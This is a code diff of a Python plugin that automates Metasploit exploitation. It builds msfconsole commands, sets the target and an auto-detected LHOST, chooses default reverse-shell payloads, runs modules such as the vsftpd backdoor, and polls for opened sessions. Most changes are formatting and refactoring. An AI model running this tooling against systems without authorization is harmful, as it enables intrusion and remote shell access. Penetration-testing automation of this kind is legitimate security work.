|
|
253
|
-
with open(log_path,
|
|
303
|
+
with open(log_path, "a") as f:
|
|
254
304
|
f.write(f"[*] Exploit submitted as MSF job {job_id}\n")
|
|
255
305
|
f.write(f"[*] Polling for session (max {max_poll}s)...\n")
|
|
256
306
|
|
|
257
307
|
except Exception as e:
|
|
258
308
|
if log_path:
|
|
259
|
-
with open(log_path,
|
|
309
|
+
with open(log_path, "a") as f:
|
|
260
310
|
f.write(f"[-] Execute failed: {e}\n")
|
|
261
|
-
return {
|
|
311
|
+
return {"success": False, "error": f"Execute failed: {e}"}
|
|
262
312
|
|
|
263
313
|
# Poll for new session
|
|
264
314
|
start_time = time.time()
|
|
@@ -274,37 +324,57 @@ class MsfExploitPlugin(PluginBase):
|
|
|
274
324
|
session_info = client.get_session_info(int(session_id))
|
|
275
325
|
|
|
276
326
|
if log_path:
|
|
277
|
-
with open(log_path,
|
|
327
|
+
with open(log_path, "a") as f:
|
|
278
328
|
f.write(f"\n[+] Session {session_id} opened!\n")
|
|
279
|
-
f.write(
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
f.write(
|
|
283
|
-
|
|
284
|
-
|
|
329
|
+
f.write(
|
|
330
|
+
f" Type: {session_info.get('type', 'unknown')}\n"
|
|
331
|
+
)
|
|
332
|
+
f.write(
|
|
333
|
+
f" Platform: {session_info.get('platform', 'unknown')}\n"
|
|
334
|
+
)
|
|
335
|
+
f.write(
|
|
336
|
+
f" Via: {session_info.get('via_exploit', exploit_path)}\n"
|
|
337
|
+
)
|
|
338
|
+
f.write(
|
|
339
|
+
f" Tunnel: {session_info.get('tunnel_peer', 'N/A')}\n"
|
|
340
|
+
)
|
|
341
|
+
f.write(
|
|
342
|
+
f"\n[*] Session is persistent - interact via MSF Sessions menu\n"
|
|
343
|
+
)
|
|
344
|
+
f.write(
|
|
345
|
+
f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
|
|
346
|
+
)
|
|
285
347
|
|
|
286
348
|
return {
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
349
|
+
"success": True,
|
|
350
|
+
"session_id": session_id,
|
|
351
|
+
"session_info": session_info,
|
|
352
|
+
"exploit_path": exploit_path,
|
|
291
353
|
}
|
|
292
354
|
|
|
293
355
|
except Exception as e:
|
|
294
356
|
if log_path:
|
|
295
|
-
with open(log_path,
|
|
357
|
+
with open(log_path, "a") as f:
|
|
296
358
|
f.write(f"[!] Poll error: {e}\n")
|
|
297
359
|
|
|
298
360
|
# Timeout - no session opened (not an error, just means target likely not vulnerable)
|
|
299
361
|
if log_path:
|
|
300
|
-
with open(log_path,
|
|
362
|
+
with open(log_path, "a") as f:
|
|
301
363
|
f.write(f"\n[*] No session opened after {max_poll}s\n")
|
|
302
|
-
f.write(
|
|
364
|
+
f.write(
|
|
365
|
+
f"[*] Target may not be vulnerable or exploit conditions not met\n"
|
|
366
|
+
)
|
|
303
367
|
f.write(f"[*] Try re-running the exploit if needed\n")
|
|
304
|
-
f.write(
|
|
368
|
+
f.write(
|
|
369
|
+
f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
|
|
370
|
+
)
|
|
305
371
|
|
|
306
372
|
# Return success=False but no 'error' key - this is a "no results" case, not an error
|
|
307
|
-
return {
|
|
373
|
+
return {
|
|
374
|
+
"success": False,
|
|
375
|
+
"no_session": True,
|
|
376
|
+
"reason": f"No session after {max_poll}s",
|
|
377
|
+
}
|
|
308
378
|
|
|
309
379
|
def _get_local_ip(self, target: str) -> str:
|
|
310
380
|
"""Get local IP that can reach the target."""
|
|
@@ -323,18 +393,21 @@ class MsfExploitPlugin(PluginBase):
|
|
|
323
393
|
["ip", "route", "get", target],
|
|
324
394
|
capture_output=True,
|
|
325
395
|
text=True,
|
|
326
|
-
timeout=5
|
|
396
|
+
timeout=5,
|
|
327
397
|
)
|
|
328
398
|
if result.returncode == 0:
|
|
329
399
|
import re
|
|
330
|
-
|
|
400
|
+
|
|
401
|
+
match = re.search(r"src\s+(\d+\.\d+\.\d+\.\d+)", result.stdout)
|
|
331
402
|
if match:
|
|
332
403
|
return match.group(1)
|
|
333
404
|
except Exception:
|
|
334
405
|
pass
|
|
335
406
|
return None
|
|
336
407
|
|
|
337
|
-
def build_command(
|
|
408
|
+
def build_command(
|
|
409
|
+
self, target: str, args: List[str] = None, label: str = "", log_path: str = None
|
|
410
|
+
):
|
|
338
411
|
"""
|
|
339
412
|
Build command for background execution.
|
|
340
413
|
|
|
@@ -353,17 +426,22 @@ class MsfExploitPlugin(PluginBase):
|
|
|
353
426
|
|
|
354
427
|
# Check if RPC mode should be used (Pro feature)
|
|
355
428
|
if self._use_rpc_mode():
|
|
356
|
-
options, has_payload = self._parse_exploit_options(
|
|
357
|
-
|
|
429
|
+
options, has_payload, needs_payload = self._parse_exploit_options(
|
|
430
|
+
target, extra_opts, exploit_path
|
|
431
|
+
)
|
|
432
|
+
# Only set payload if: exploit needs it AND user didn't provide one
|
|
433
|
+
payload = None
|
|
434
|
+
if needs_payload and not has_payload:
|
|
435
|
+
payload = self._get_default_payload(exploit_path)
|
|
358
436
|
|
|
359
437
|
return {
|
|
360
|
-
|
|
361
|
-
|
|
362
|
-
|
|
363
|
-
|
|
364
|
-
|
|
365
|
-
|
|
366
|
-
|
|
438
|
+
"mode": "rpc",
|
|
439
|
+
"exploit_path": exploit_path,
|
|
440
|
+
"target": target,
|
|
441
|
+
"options": options,
|
|
442
|
+
"payload": payload,
|
|
443
|
+
"log_path": log_path,
|
|
444
|
+
"timeout": 300, # Max poll time
|
|
367
445
|
}
|
|
368
446
|
|
|
369
447
|
# Console mode (Free users or RPC unavailable)
|
|
@@ -374,12 +452,17 @@ class MsfExploitPlugin(PluginBase):
|
|
|
374
452
|
target: str,
|
|
375
453
|
exploit_path: str,
|
|
376
454
|
extra_opts: List[str],
|
|
377
|
-
log_path: str = None
|
|
455
|
+
log_path: str = None,
|
|
378
456
|
) -> Dict[str, Any]:
|
|
379
457
|
"""Build msfconsole command spec for console mode."""
|
|
380
458
|
# Parse extra options to check for LHOST/PAYLOAD
|
|
381
|
-
has_lhost = any(
|
|
382
|
-
has_payload = any(
|
|
459
|
+
has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
|
|
460
|
+
has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)
|
|
461
|
+
|
|
462
|
+
# Check if this exploit needs LHOST/PAYLOAD
|
|
463
|
+
# Some exploits (vsftpd backdoor, usermap_script) have built-in
|
|
464
|
+
# bind shells or use command execution - they don't need payloads
|
|
465
|
+
needs_payload = _exploit_needs_payload(exploit_path)
|
|
383
466
|
|
|
384
467
|
# Build msfconsole command
|
|
385
468
|
msf_commands = [
|
|
@@ -388,21 +471,21 @@ class MsfExploitPlugin(PluginBase):
|
|
|
388
471
|
]
|
|
389
472
|
|
|
390
473
|
# Auto-detect LHOST if not provided and needed for reverse payloads
|
|
391
|
-
if not has_lhost:
|
|
474
|
+
if needs_payload and not has_lhost:
|
|
392
475
|
local_ip = self._get_local_ip(target)
|
|
393
476
|
if local_ip:
|
|
394
477
|
msf_commands.append(f"set LHOST {local_ip}")
|
|
395
478
|
|
|
396
479
|
# Add any extra options
|
|
397
480
|
for opt in extra_opts:
|
|
398
|
-
if
|
|
399
|
-
key, value = opt.split(
|
|
481
|
+
if "=" in opt:
|
|
482
|
+
key, value = opt.split("=", 1)
|
|
400
483
|
msf_commands.append(f"set {key} {value}")
|
|
401
484
|
else:
|
|
402
485
|
msf_commands.append(opt)
|
|
403
486
|
|
|
404
|
-
# Set default payload if not provided
|
|
405
|
-
if not has_payload:
|
|
487
|
+
# Set default payload if not provided (only for exploits that need it)
|
|
488
|
+
if needs_payload and not has_payload:
|
|
406
489
|
default_payload = self._get_default_payload(exploit_path)
|
|
407
490
|
msf_commands.append(f"set PAYLOAD {default_payload}")
|
|
408
491
|
|
|
@@ -412,20 +495,13 @@ class MsfExploitPlugin(PluginBase):
|
|
|
412
495
|
|
|
413
496
|
command_string = "; ".join(msf_commands)
|
|
414
497
|
|
|
415
|
-
cmd = [
|
|
416
|
-
"msfconsole",
|
|
417
|
-
"-q",
|
|
418
|
-
"-n",
|
|
419
|
-
"-x",
|
|
420
|
-
command_string
|
|
421
|
-
]
|
|
498
|
+
cmd = ["msfconsole", "-q", "-n", "-x", command_string]
|
|
422
499
|
|
|
423
|
-
return {
|
|
424
|
-
'cmd': cmd,
|
|
425
|
-
'timeout': 300 # 5 minutes for exploits
|
|
426
|
-
}
|
|
500
|
+
return {"cmd": cmd, "timeout": 300} # 5 minutes for exploits
|
|
427
501
|
|
|
428
|
-
def run(
|
|
502
|
+
def run(
|
|
503
|
+
self, target: str, args: List[str] = None, label: str = "", log_path: str = None
|
|
504
|
+
) -> int:
|
|
429
505
|
"""Execute MSF exploit module non-interactively."""
|
|
430
506
|
args = args or []
|
|
431
507
|
|
|
@@ -433,7 +509,9 @@ class MsfExploitPlugin(PluginBase):
|
|
|
433
509
|
if not args:
|
|
434
510
|
if log_path:
|
|
435
511
|
with open(log_path, "w") as f:
|
|
436
|
-
f.write(
|
|
512
|
+
f.write(
|
|
513
|
+
"ERROR: No exploit specified. Example: exploit/unix/ftp/vsftpd_234_backdoor\n"
|
|
514
|
+
)
|
|
437
515
|
return 1
|
|
438
516
|
|
|
439
517
|
exploit_path = args[0]
|
|
@@ -444,12 +522,17 @@ class MsfExploitPlugin(PluginBase):
|
|
|
444
522
|
|
|
445
523
|
return self._run_legacy(exploit_path, target, extra_opts)
|
|
446
524
|
|
|
447
|
-
def _run_with_logpath(
|
|
525
|
+
def _run_with_logpath(
|
|
526
|
+
self, exploit_path: str, target: str, extra_opts: List[str], log_path: str
|
|
527
|
+
) -> int:
|
|
448
528
|
"""Run MSF exploit and write output to log_path."""
|
|
449
529
|
try:
|
|
450
530
|
# Parse extra options
|
|
451
|
-
has_lhost = any(
|
|
452
|
-
has_payload = any(
|
|
531
|
+
has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
|
|
532
|
+
has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)
|
|
533
|
+
|
|
534
|
+
# Check if this exploit needs LHOST/PAYLOAD
|
|
535
|
+
needs_payload = _exploit_needs_payload(exploit_path)
|
|
453
536
|
|
|
454
537
|
# Build msfconsole command
|
|
455
538
|
msf_commands = [
|
|
@@ -457,32 +540,24 @@ class MsfExploitPlugin(PluginBase):
|
|
|
457
540
|
f"set RHOSTS {target}",
|
|
458
541
|
]
|
|
459
542
|
|
|
460
|
-
# Auto-detect LHOST if not provided
|
|
543
|
+
# Auto-detect LHOST if not provided (only for exploits that need it)
|
|
461
544
|
local_ip = None
|
|
462
|
-
if not has_lhost:
|
|
545
|
+
if needs_payload and not has_lhost:
|
|
463
546
|
local_ip = self._get_local_ip(target)
|
|
464
547
|
if local_ip:
|
|
465
548
|
msf_commands.append(f"set LHOST {local_ip}")
|
|
466
549
|
|
|
467
550
|
# Add extra options
|
|
468
551
|
for opt in extra_opts:
|
|
469
|
-
if
|
|
470
|
-
key, value = opt.split(
|
|
552
|
+
if "=" in opt:
|
|
553
|
+
key, value = opt.split("=", 1)
|
|
471
554
|
msf_commands.append(f"set {key} {value}")
|
|
472
555
|
else:
|
|
473
556
|
msf_commands.append(opt)
|
|
474
557
|
|
|
475
|
-
# Set default payload if not provided
|
|
476
|
-
if not has_payload:
|
|
477
|
-
|
|
478
|
-
if 'windows' in exploit_lower:
|
|
479
|
-
default_payload = 'generic/shell_reverse_tcp'
|
|
480
|
-
elif 'unix' in exploit_lower or 'linux' in exploit_lower:
|
|
481
|
-
default_payload = 'cmd/unix/reverse'
|
|
482
|
-
elif 'multi' in exploit_lower:
|
|
483
|
-
default_payload = 'generic/shell_reverse_tcp'
|
|
484
|
-
else:
|
|
485
|
-
default_payload = 'generic/shell_reverse_tcp'
|
|
558
|
+
# Set default payload if not provided (only for exploits that need it)
|
|
559
|
+
if needs_payload and not has_payload:
|
|
560
|
+
default_payload = self._get_default_payload(exploit_path)
|
|
486
561
|
msf_commands.append(f"set PAYLOAD {default_payload}")
|
|
487
562
|
|
|
488
563
|
# Run exploit
|
|
@@ -491,13 +566,7 @@ class MsfExploitPlugin(PluginBase):
|
|
|
491
566
|
|
|
492
567
|
command_string = "; ".join(msf_commands)
|
|
493
568
|
|
|
494
|
-
cmd = [
|
|
495
|
-
"msfconsole",
|
|
496
|
-
"-q",
|
|
497
|
-
"-n",
|
|
498
|
-
"-x",
|
|
499
|
-
command_string
|
|
500
|
-
]
|
|
569
|
+
cmd = ["msfconsole", "-q", "-n", "-x", command_string]
|
|
501
570
|
|
|
502
571
|
with open(log_path, "w", encoding="utf-8", errors="replace") as fh:
|
|
503
572
|
fh.write("=== Metasploit Exploit Module ===\n")
|
|
@@ -505,8 +574,12 @@ class MsfExploitPlugin(PluginBase):
|
|
|
505
574
|
fh.write(f"Target: {target}\n")
|
|
506
575
|
if local_ip:
|
|
507
576
|
fh.write(f"LHOST (auto): {local_ip}\n")
|
|
508
|
-
fh.write(
|
|
509
|
-
|
|
577
|
+
fh.write(
|
|
578
|
+
f"Options: {', '.join(extra_opts) if extra_opts else 'None'}\n"
|
|
579
|
+
)
|
|
580
|
+
fh.write(
|
|
581
|
+
f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n"
|
|
582
|
+
)
|
|
510
583
|
fh.write(f"Command: {' '.join(cmd)}\n\n")
|
|
511
584
|
fh.flush()
|
|
512
585
|
|
|
@@ -516,10 +589,12 @@ class MsfExploitPlugin(PluginBase):
|
|
|
516
589
|
stdout=fh,
|
|
517
590
|
stderr=subprocess.STDOUT,
|
|
518
591
|
timeout=300, # 5 minutes for exploits
|
|
519
|
-
check=False
|
|
592
|
+
check=False,
|
|
520
593
|
)
|
|
521
594
|
|
|
522
|
-
fh.write(
|
|
595
|
+
fh.write(
|
|
596
|
+
f"\n\nCompleted: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
|
|
597
|
+
)
|
|
523
598
|
fh.write(f"Exit Code: {proc.returncode}\n")
|
|
524
599
|
|
|
525
600
|
return proc.returncode
|
|
@@ -528,17 +603,24 @@ class MsfExploitPlugin(PluginBase):
|
|
|
528
603
|
# Check if a session was opened before timeout
|
|
529
604
|
# This is success - MSF keeps sessions alive which causes timeout
|
|
530
605
|
import re
|
|
606
|
+
|
|
531
607
|
try:
|
|
532
608
|
with open(log_path, "r", encoding="utf-8", errors="replace") as fh:
|
|
533
609
|
content = fh.read()
|
|
534
|
-
session_opened = bool(
|
|
610
|
+
session_opened = bool(
|
|
611
|
+
re.search(r"session \d+ opened", content, re.IGNORECASE)
|
|
612
|
+
)
|
|
535
613
|
except Exception:
|
|
536
614
|
session_opened = False
|
|
537
615
|
|
|
538
616
|
with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
|
|
539
617
|
if session_opened:
|
|
540
|
-
fh.write(
|
|
541
|
-
|
|
618
|
+
fh.write(
|
|
619
|
+
"\n[*] Session opened successfully (timeout expected - session is active)\n"
|
|
620
|
+
)
|
|
621
|
+
fh.write(
|
|
622
|
+
f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
|
|
623
|
+
)
|
|
542
624
|
else:
|
|
543
625
|
fh.write("\nERROR: Exploit timed out after 300 seconds\n")
|
|
544
626
|
|
|
@@ -563,31 +645,27 @@ class MsfExploitPlugin(PluginBase):
|
|
|
563
645
|
]
|
|
564
646
|
|
|
565
647
|
# Try to auto-detect LHOST
|
|
566
|
-
has_lhost = any(
|
|
567
|
-
has_payload = any(
|
|
568
|
-
|
|
648
|
+
has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
|
|
649
|
+
has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)
|
|
650
|
+
|
|
651
|
+
# Check if this exploit needs LHOST/PAYLOAD
|
|
652
|
+
needs_payload = _exploit_needs_payload(exploit_path)
|
|
653
|
+
|
|
654
|
+
if needs_payload and not has_lhost:
|
|
569
655
|
local_ip = self._get_local_ip(target)
|
|
570
656
|
if local_ip:
|
|
571
657
|
msf_commands.append(f"set LHOST {local_ip}")
|
|
572
658
|
|
|
573
659
|
for opt in extra_opts:
|
|
574
|
-
if
|
|
575
|
-
key, value = opt.split(
|
|
660
|
+
if "=" in opt:
|
|
661
|
+
key, value = opt.split("=", 1)
|
|
576
662
|
msf_commands.append(f"set {key} {value}")
|
|
577
663
|
else:
|
|
578
664
|
msf_commands.append(opt)
|
|
579
665
|
|
|
580
|
-
# Set default payload if not provided
|
|
581
|
-
if not has_payload:
|
|
582
|
-
|
|
583
|
-
if 'windows' in exploit_lower:
|
|
584
|
-
default_payload = 'generic/shell_reverse_tcp'
|
|
585
|
-
elif 'unix' in exploit_lower or 'linux' in exploit_lower:
|
|
586
|
-
default_payload = 'cmd/unix/reverse'
|
|
587
|
-
elif 'multi' in exploit_lower:
|
|
588
|
-
default_payload = 'generic/shell_reverse_tcp'
|
|
589
|
-
else:
|
|
590
|
-
default_payload = 'generic/shell_reverse_tcp'
|
|
666
|
+
# Set default payload if not provided (only for exploits that need it)
|
|
667
|
+
if needs_payload and not has_payload:
|
|
668
|
+
default_payload = self._get_default_payload(exploit_path)
|
|
591
669
|
msf_commands.append(f"set PAYLOAD {default_payload}")
|
|
592
670
|
|
|
593
671
|
msf_commands.append("exploit -z")
|